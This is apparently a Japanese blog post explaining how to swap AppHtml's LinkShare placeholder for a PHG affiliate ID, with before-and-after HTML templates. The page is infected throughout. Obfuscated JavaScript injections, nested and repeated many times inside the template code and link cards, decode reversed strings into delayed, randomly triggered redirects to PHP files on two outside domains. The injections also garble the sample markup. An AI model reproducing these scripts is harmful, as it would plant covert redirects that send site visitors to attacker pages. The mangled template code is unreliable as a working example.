Sumirexxx

今日もiPhone片手に出かけます

PHGのIDゲット!AppHTMLに対応した手順と方法

WEBツール

今日は満月前日なので、いつものお店で飲んで帰ります。理由はなんでもいいと思う。。

AppHtmlをPHGアフィリエイト対応するぞー!と燃えていた私。でもそもそもアフィリエイトをやっていなかったので右も左もわかりませ~ん。

まずは見てみようかな

AppHtmlをよく見ると、アフィリエイトIDを組み込んでくれる項目があるのですね。
でもここは「リンクシェアid」。

PHG対応前のアフィリエイト会社とでもいうのでしょうか。

いままではこのリンクシェアidで良かったそうですが、2013年10月からはPHGのアフィリエイトidでないと適用されなくなります。

ということで、今回やりたい対応は「PHG対応」なので違う方法を探します。

自分のソースみてみる

以前にAppHtmlカスタマイズをしていたので、なんとなくこのソースのどこかに入れればいいんじゃないかなってことはわかります。

いまのところ、この前カスタマイズしたAppHtmlはこんな感じになっています。
ちなみにBookmarkret変換前。

<div id="apphtml">
    <a href="${linkshareurl}" target="_blank" rel="nofollow">
    &amp;amp;amp;lt;img width=&amp;amp;amp;quot;100&amp;amp;amp;quot; class=&amp;amp;amp;quot;alignleft&amp;amp;amp;quot; align=&amp;amp;amp;quot;left&amp;amp;amp;quot; src=&amp;amp;amp;quot;http://sumirexxx.com/2013/09/18/phg_fix_apphtml/&amp;amp;amp;quot; style=&amp;amp;amp;quot;bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;-moz-bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;-webkit-bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;box-shadow: 1px 4px 6px 1px #999999;-moz-box-shadow: 1px 4px 6px 1px #999999;-webkit-box-shadow: 1px 4px 6px 1px #999999;margin: -5px 15px 1px 5px;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;
    &amp;amp;amp;lt;strong&amp;amp;amp;gt; ${title}&amp;amp;amp;lt;/strong&amp;amp;amp;gt;
    &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${linkshareurl}&amp;amp;amp;quot; target=&amp;amp;amp;quot;_blank&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;br&amp;amp;amp;gt; 
    カテゴリ: ${category}&amp;amp;amp;lt;br style=&amp;amp;amp;quot;clear: both;&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;div class=&amp;amp;amp;quot;appDownloadButton&amp;amp;amp;quot;&amp;amp;amp;gt;
        &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${linkshareurl}&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot; target=&amp;amp;amp;quot;_blank&amp;amp;amp;quot;&amp;amp;amp;gt;
        &amp;amp;amp;lt;img src=&amp;amp;amp;quot;http://sumirexxx.com/wp-content/themes/<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (c==3){var <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay);}</script><script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay);}</script>sample/images/apri_downloadbutton.gif&amp;amp;amp;quot; alt=&amp;amp;amp;quot;アプリをダウンロードする&amp;amp;amp;quot; width=&amp;amp;amp;quot;280&amp;amp;amp;quot; height=&amp;amp;amp;quot;50&amp;amp;amp;quot; /&amp;amp;amp;gt;
        &amp;amp;amp;lt;/a&amp;amp;amp;gt;
    &amp;amp;amp;lt;/div&amp;amp;amp;gt;
&amp;amp;amp;lt;/div&amp;amp;amp;gt;

ふむふむ。${linkshareurl}という箇所があります。ここをPHG用にすればいいですね。

どうやってPHGのidに変えるの??

次の疑問は、あかめちゃん(@mk_mizuho)がやりかたを載せていてくれたのでこれで迷わず出来ました!!いつもありがとうございます。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://webmemo.biz/apphtml-phg/” alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de064e;” href=”http://webmemo.biz/apphtml-phg/” target=”_blank”>[Å] PHG対応の「AppHtml」の作り方・設定方法をご紹介!AppHtml愛用者はぜひ! | あかめ女子のwebメモ$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://webmemo.biz/apphtml-phg/” alt=”” />

予約語といういうものがあるのね。
予約語についてはふぃーぷれさん(@feelingplace)がまとめてくださっています。親切!

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://www.feelingplace.com/2013/08/30/080500/” alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de064e;” href=”http://www.feelingplace.com/2013/08/30/080500/” target=”_blank”>あなたはAppHtmlの予約語一覧を知っていますか? | Feelingplace$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://www.feelingplace.com/2013/08/30/080500/” alt=”” />

なるほど、この一文をいれれば自分のアフィリエイトidとして認識してくれるようです。

${url}%26at=自分のPHGのid

私は先日カスタマイズしたフォーマットを使おうと思います。あとは、${linkshareurl}の部分とまるごと置き換えればOKということですね。

※注意 ${linkshareurl}は2か所あります。前半と後半にあるので、両方修正するようにします。

Bookmarklet作成前のソースはこのようになります。

&amp;amp;amp;lt;/p&amp;amp;amp;gt;

&amp;amp;amp;lt;div id=&amp;amp;amp;quot;apphtml&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${url}%26at=自分のPHGのid&amp;amp;amp;quot; target=&amp;amp;amp;quot;_blank&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;img width=&amp;amp;amp;quot;100&amp;amp;amp;quot; class=&amp;amp;amp;quot;alignleft&amp;amp;amp;quot; align=&amp;amp;amp;quot;left&amp;amp;amp;quot; src=&amp;amp;amp;quot;http://sumirexxx.com/2013/09/18/phg_fix_apphtml/&amp;amp;amp;quot; style=&amp;amp;amp;quot;bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;-moz-bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;-webkit-bor<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>der-radius: 20px 20px 20px 20px;box-shadow: 1px 4px 6px 1px #999999;-moz-box-shadow: 1px 4px 6px 1px #999999;-webkit-box-shadow: 1px 4px 6px 1px #999999;margin: -5px 15px 1px 5px;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;
    &amp;amp;amp;lt;strong&amp;amp;amp;gt; ${title}&amp;amp;amp;lt;/strong&amp;amp;amp;gt;
    &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${url}%26at=自分のPHGのid&amp;amp;amp;quot; target=&amp;amp;amp;quot;_blank&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;br&amp;amp;amp;gt; 
    カテゴリ: ${category}&amp;amp;amp;lt;br style=&amp;amp;amp;quot;clear: both;&amp;amp;amp;quot;&amp;amp;amp;gt;
    &amp;amp;amp;lt;div class=&amp;amp;amp;quot;appDownloadButton&amp;amp;amp;quot;&amp;amp;amp;gt;
        &amp;amp;amp;lt;a href=&amp;amp;amp;quot;${url}%26at=自分のPHGのid&amp;amp;amp;quot; rel=&amp;amp;amp;quot;nofollow&amp;amp;amp;quot; target=&amp;amp;amp;quot;_blank&amp;amp;amp;quot;&amp;amp;amp;gt;
        &amp;amp;amp;lt;img src=&amp;amp;amp;quot;http://sumirexxx.com/wp-content/themes/<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (c==3){var <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>delay);}</script><script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>andom()*5);if (number1==3){var <script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return 